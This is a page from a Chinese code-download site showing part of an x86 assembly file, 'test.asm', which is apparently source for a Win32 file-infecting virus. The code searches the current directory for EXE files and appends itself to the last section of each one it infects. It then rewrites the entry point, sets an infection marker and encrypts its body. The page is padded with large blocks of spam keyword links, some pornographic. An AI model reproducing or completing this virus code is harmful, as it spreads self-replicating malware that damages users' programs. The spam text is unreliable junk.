亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? test.asm

?? 修改PE文件,FDASKLFJASDKLFKLASDJFKASDFFSDAF
?? ASM
?? 第 1 頁 / 共 2 頁
字號:
.386
               .model flat,stdcall
               .data

               .const

               .code
start:
virse_start:
;----------------重定位 
 
call Relocate                 
Prepare:
       call LoadApis              ;載入API函數
       cmp eax,000000000h
       jz toOldEntry
       mov  edx,offset bufDir     ;prepare before infection
       add  edx,ebp
       push edx
       push 104h
       call [ebp + _GetCurrentDirectoryA]
       cmp eax,0
       jna toOldEntry
       cmp eax,104h
       ja toOldEntry
       
       mov  edx,offset bufDir
       add  edx,ebp
       push edx
       call [ebp + _SetCurrentDirectoryA]
       cmp eax,00000000h
       jna toOldEntry
       
       mov ecx,02h               ;感染文件數
       mov eax,offset win32_find_data
       add eax,ebp
       push eax
       mov eax,offset szExe
       add eax,ebp
       push eax
       call [ebp + _FindFirstFileA]
       cmp eax,00000000h
       jna  Display
       mov [ebp + hFind],eax
InfectLoop:                   ;查找文件,并感染
       mov [ebp + nCounte],ecx
       jmp  InfectFile        ;返回句柄非零,感染
Next:
       mov eax,offset win32_find_data
       add eax,ebp
       push eax 
       push dword ptr [ebp + hFind]
       call [ebp + _FindNextFileA]
       cmp eax,00000000h
       jna  Display
       mov ecx,dword ptr [ebp + nCounte]  
       loop InfectLoop
       push dword ptr [ebp + hFind]
       call [ebp + _FindClose]
       jmp  Display           ;跳到表現部分
InfectFile:
       mov word ptr [ebp + isExe],00h
       mov eax,offset cFileName
       add eax,ebp
       call CreateF             ;打開文件
       cmp eax,0
       jna  next
       mov [ebp + hFile],eax    ;保存文件句柄
Mapping_1:  
       call FileMapping
       cmp eax,0
       jz  Next
       mov esi,eax
       movzx edx,word ptr [eax]
       cmp edx,5a4dh              ; check MZ
       jnz Exe?
       mov eax,dword ptr [esi + 3ch]
       add eax,esi               ;eax -> PE
       mov edx,dword ptr [eax] 
       cmp edx,00004550h         ; check PE
       jnz Exe?
       mov edx,dword ptr [eax + 4ch]
       cmp edx,00000001h
       jz  Exe?
       mov word ptr [ebp + isExe],0ffffh
       add [ebp + dwFileSizeLow],offset virse_end - offset virse_start
Exe?:
       mov eax,esi
       call UnmapView
       mov eax,[ebp + hMapFile]
       call CloseH
       cmp word ptr [ebp + isExe],0000h
       jz Next
Mapping_2:
       nop
       nop
       call FileMapping
       cmp eax,0
       jz  Next
       mov [ebp + ImageBase],eax
       mov esi,dword ptr [eax + 3ch]
       add esi,eax                        ;save PE   
       mov eax,[esi + 28h]
       mov [ebp + OldEntry],eax           ;save Formal EntryPointer
       mov eax,esi
       add eax,18h
       movzx ecx,word ptr [esi + 14h]     ;SizeOfOptionalHeader
       add eax,ecx        
       movzx ecx,word ptr [esi + 06h]     ;eax= Number Of Sections
       dec ecx
       xor ebx,ebx
f0:   
       mov edx,dword ptr [eax + 24h]
       and edx,060000020h
       cmp edx,060000020h
       jnz f1
       add ebx,dword ptr [eax + 08h]  
f1: 
       add eax,28h
       loop f0
       mov edi,eax                                  ;save the last setion header              

       push [edi + 08h]
       mov  eax,[edi + 08h]
       add  eax,offset virse_end - offset virse_start
       mov  dword ptr [edi + 08h],eax                ;modify Virtual Size

       mov  ecx,[esi + 3ch]
       call Alignize
       mov  dword ptr [edi + 10h],eax                ;modify SizeOfRawData

       mov eax,[edi + 08h]
       add eax,[edi + 0ch]
       mov ecx,[esi + 38h]
       call Alignize
       mov dword ptr [esi + 50h],eax                 ;modify SizeOfImage

       add ebx,[edi + 08h]
       mov eax,ebx
       mov ecx,[esi + 3ch]
       call Alignize
       mov dword ptr [esi + 1ch],eax                 ;modify SizeOfCode
        
       pop eax
       mov ecx,eax
       add eax,[edi + 0ch]
       add eax,offset deccode - offset virse_start 
       mov dword ptr [esi + 28h],eax                   ;modify EntryPoint
       mov [ebp + NewEntry],eax                        ;save NewEntry
       
       mov edx ,dword ptr [edi + 24h]
       or edx,0E0000000h
       mov dword ptr [edi + 24h],edx
          
       mov eax,[edi + 14h]                   
       add eax,[ebp + ImageBase]
       add eax,ecx                           ;Formal VirtualSize  
       push eax                              ;Save VirseCode start Address

       mov edi,eax
       mov esi,virse_start
       add esi,ebp
       mov ecx,offset virse_end - offset virse_start
       cld  
       rep movsb
setEntyPoint:
       pop edi
       push edi
       add edi,offset toOldEntry - offset virse_start
       mov eax,000000e9h
       stosb
       mov eax,[ebp + OldEntry]
       mov edx,[ebp + NewEntry]
       add edx,offset toOldEntry - offset deccode
       sub eax,edx
       sub eax,05h 
       stosd
SetFlag:
       mov eax,[ebp + ImageBase]
       mov eax,[eax + 3ch]
       add eax,[ebp + ImageBase]
       mov dword ptr [eax + 4ch],00000001h
enc:
       pop esi                            ;VirseCode start Address
       call Encrypt
Infected: 
       push ebp
       mov eax,[ebp + ImageBase]
       call UnmapView
       mov eax,[ebp + hMapFile]
       call CloseH
       mov eax,[ebp + hFile]
       call CloseH
       pop ebp
       jmp Next
FileMapping proc                      ;---------映射文件過程
;-----------------------參數
;文件名:dwFileName,文件尺寸:dwFileSizeLow
;-----------------------  
       mov eax,[ebp + hFile]
       mov ecx,[ebp + dwFileSizeLow]
       call CreateFM            ;創建文件映射
       cmp eax,0
       jna ClsF
       mov [ebp + hMapFile],eax
       mov ecx,0
       call MapView             ;映射文件
       cmp eax,0
       jna ClsMf
       ret       
ClsMf :
       mov eax,[ebp + hMapFile]
       call CloseH
ClsF :
       mov eax,[ebp + hFile]
       call CloseH
       xor eax,eax
       ret
       FileMapping endp

Alignize proc
;------------對齊函數
;eax  ecx
;--------------------   
       xor edx,edx
       div ecx
       inc eax
       mul ecx    
       ret
       Alignize endp
CreateF  proc              ;函數  CreateFileA
;----------參數
;eax 文件名 
;------------------
        xor edx,edx
	  push edx
	  push 00000080h
	  push 00000003h
	  push edx
	  push 00000003h
	  push 0e0000000h
	  push eax
        call [ebp + _CreateFileA]
	  ret
	  CreateF endp
CreateFM  proc          ;函數  CreateFileMapping
;------------參數
;eax 文件句柄,ecx 文件尺寸 edx null
;------------------
	  xor edx,edx
	  push edx
	  push ecx
	  push edx
	  push 00000004h
	  push edx
	  push eax
	  call [ebp + _CreateFileMapping]
	  ret
	  CreateFM endp
MapView  proc              ;函數   MapViewOfFileA
;-----------參數
;eax 映射句柄,ecx 文件尺寸,edx null
;-----------------
        xor edx,edx
	  push ecx
	  push edx
        push edx
	  push 0000001fh
	  push eax
	  call [ebp + _MapViewOfFile]
	  ret
	  MapView endp 
UnmapView  proc            ;函數   UnMapViewOfFileA
;----------參數          
;eax 映射地址
;--------------------------
	  push eax
	  call [ebp + _UnmapViewOfFile]
	  ret
	  UnMapView  endp
CloseH    proc             ;函數  CloseHandle
;----------參數
;eax 句柄

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日韩免费电影网站| 色综合网色综合| 日韩精品亚洲一区二区三区免费| 中文字幕一区二区三区蜜月| 久久精品视频一区二区三区| 日韩免费一区二区| 26uuu国产日韩综合| 日韩美女视频一区二区在线观看| 欧美精品在线一区二区三区| 欧美日韩精品免费观看视频| 6080国产精品一区二区| 日韩一区二区免费高清| 日韩精品中午字幕| 欧美精品自拍偷拍| 亚洲电影你懂得| 91精品国产色综合久久ai换脸 | 国产天堂亚洲国产碰碰| 精品久久久久一区| 久久精品男人天堂av| 中文字幕不卡在线播放| 日本一区二区三区电影| 国产精品久久久久一区| 亚洲美女免费视频| 亚洲主播在线观看| 免费成人av在线播放| 韩国精品主播一区二区在线观看| 国产精品资源在线| 在线影院国内精品| 日韩欧美综合在线| 国产精品久久久久久久岛一牛影视| 中文一区二区完整视频在线观看| 综合激情成人伊人| 男女激情视频一区| heyzo一本久久综合| 欧美三级中文字| www亚洲一区| 亚洲成人av一区二区三区| 国产在线视频一区二区三区| 福利一区二区在线| 欧美一区二区三区性视频| 国产精品国产三级国产| 青青青伊人色综合久久| 成人免费av在线| 日韩一区二区免费在线观看| 国产精品白丝在线| 久久99久久精品| 欧美午夜视频网站| 日本不卡在线视频| 91日韩一区二区三区| 久久视频一区二区| 日韩av中文字幕一区二区三区| 白白色亚洲国产精品| 日韩你懂的电影在线观看| 一区二区三区在线视频观看| 国产一区高清在线| 9191久久久久久久久久久| 亚洲欧洲99久久| 丰满放荡岳乱妇91ww| 欧美大度的电影原声| 亚洲在线视频网站| 99re成人精品视频| 国产亚洲欧美一区在线观看| 麻豆国产一区二区| 欧美日韩国产影片| 一级做a爱片久久| 99精品久久只有精品| 中文字幕国产精品一区二区| 国产专区欧美精品| 欧美精品一区二| 国产乱码精品一区二区三区av| 欧美一二三区在线观看| 日本伊人午夜精品| 欧美一区二区三区四区久久| 亚洲gay无套男同| 在线观看日韩电影| 亚洲第一成年网| 精品视频一区 二区 三区| 一区二区三区**美女毛片| 91麻豆国产精品久久| 亚洲免费在线电影| 欧美日韩卡一卡二| 日韩影院在线观看| 日韩美女主播在线视频一区二区三区| 日韩电影在线免费观看| 91精品综合久久久久久| 久久精品国产亚洲高清剧情介绍| 91.成人天堂一区| 久久成人免费网站| 国产欧美一区二区三区沐欲| 成人av第一页| 日韩一区在线免费观看| 色婷婷久久99综合精品jk白丝| 亚洲三级在线观看| 欧美精品高清视频| 男女男精品视频网| 国产蜜臀97一区二区三区| 成熟亚洲日本毛茸茸凸凹| 日韩一区在线免费观看| 欧美在线视频日韩| 久久精品免费观看| 国产精品美女久久福利网站| 成人黄色大片在线观看| 亚洲午夜久久久久| 精品精品国产高清一毛片一天堂| 成人国产视频在线观看| 亚洲成va人在线观看| 精品粉嫩aⅴ一区二区三区四区| 成人在线综合网| 一区二区三区四区五区视频在线观看| 337p亚洲精品色噜噜狠狠| 精品一区二区三区久久| 亚洲视频精选在线| 日韩三级视频在线看| 成人黄色在线网站| 日本最新不卡在线| 中文字幕一区免费在线观看 | 免费看欧美美女黄的网站| 久久综合中文字幕| 91福利区一区二区三区| 国产一区欧美一区| 亚洲国产婷婷综合在线精品| 久久久99精品免费观看不卡| 欧美日韩一区视频| 国产v综合v亚洲欧| 美女爽到高潮91| 亚洲高清视频的网址| 中文字幕一区二区三区乱码在线| 91麻豆精品久久久久蜜臀| 91免费观看视频在线| 国产精品456| 久久精品国产网站| 亚洲第一成人在线| 一区二区三区中文字幕电影 | 日韩一区在线播放| 久久免费看少妇高潮| 欧美另类z0zxhd电影| av一区二区久久| 成人美女视频在线观看18| 激情五月婷婷综合| 秋霞影院一区二区| 一级特黄大欧美久久久| 亚洲欧美日韩国产综合| 国产精品天干天干在观线| 精品国产免费一区二区三区香蕉 | 久久er99热精品一区二区| 亚洲国产一区二区视频| 亚洲精品老司机| 亚洲精品久久嫩草网站秘色| 亚洲欧洲精品天堂一级| 中文字幕日本乱码精品影院| 国产女同性恋一区二区| 国产偷v国产偷v亚洲高清| 亚洲精品一区二区三区四区高清| 日韩免费成人网| 精品久久久久久最新网址| 日韩你懂的在线播放| 精品国产三级a在线观看| 精品久久久久久亚洲综合网| 欧美v日韩v国产v| 国产午夜精品在线观看| 久久九九国产精品| 综合激情成人伊人| 天天综合色天天综合色h| 青青草国产成人99久久| 极品少妇xxxx偷拍精品少妇| 国产综合色在线| 成人涩涩免费视频| 91亚洲资源网| 欧美一区在线视频| 久久久久久久一区| 亚洲欧美日韩国产中文在线| 亚洲成人黄色影院| 国产美女一区二区三区| eeuss鲁片一区二区三区在线观看 eeuss鲁片一区二区三区在线看 | 色综合视频在线观看| 欧美在线播放高清精品| 91精品综合久久久久久| 久久综合九色综合97_久久久| 久久久久国产精品麻豆ai换脸| 亚洲视频一二三区| 婷婷丁香久久五月婷婷| 久草中文综合在线| www.在线欧美| 色婷婷综合久久久| www成人在线观看| 国产精品久久久久久户外露出| 久久久久亚洲综合| 亚洲欧美国产毛片在线| 亚欧色一区w666天堂| 亚洲激情图片一区| 久久99精品久久久久久| 成人做爰69片免费看网站| 日本乱人伦aⅴ精品| 欧美电影免费观看高清完整版在 | 国产精品久久久久久久久快鸭 | 波多野结衣在线aⅴ中文字幕不卡| 一本久久a久久精品亚洲| 欧美日产在线观看| 久久久美女毛片| 国产精品免费丝袜|